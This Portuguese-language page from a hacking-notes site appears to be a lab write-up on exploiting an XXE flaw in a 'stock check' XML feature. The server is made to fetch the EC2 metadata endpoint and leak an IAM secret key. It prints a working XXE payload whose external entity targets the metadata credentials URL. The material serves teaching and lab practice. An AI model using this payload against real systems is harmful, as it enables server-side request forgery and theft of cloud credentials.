> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/xxe-to-perform-ssrf-attacks.md).

# XXE para Realizar Ataques SSRF

### Explorando XXE para realizar ataques SSRF

Explore uma vulnerabilidade XXE na **"Verificar estoque"** funcionalidade que aceita XML, causando uma solicitação SSRF ao endpoint de metadados do EC2 (`HTTP://169.254.169.254/`) e recuperando a chave IAM secreta do servidor.

O servidor do laboratório simula um endpoint de metadados do EC2 acessível ao padrão `HTTP://169.254.169.254/` endereço. Ao injetar uma entidade externa no XML enviado ao parser vulnerável, o servidor pode ser forçado a ler a URL interna e retornar seu conteúdo na resposta.

#### Iniciar XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### Payload XXE usado para realizar SSRF

Fazendo referência a uma entidade externa apontando para o endpoint de metadados do IAM e então incluindo essa entidade no campo refletido (`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/da668fad493fd1bc1136681097aeff2921c14cbc" alt=""><figcaption></figcaption></figure>


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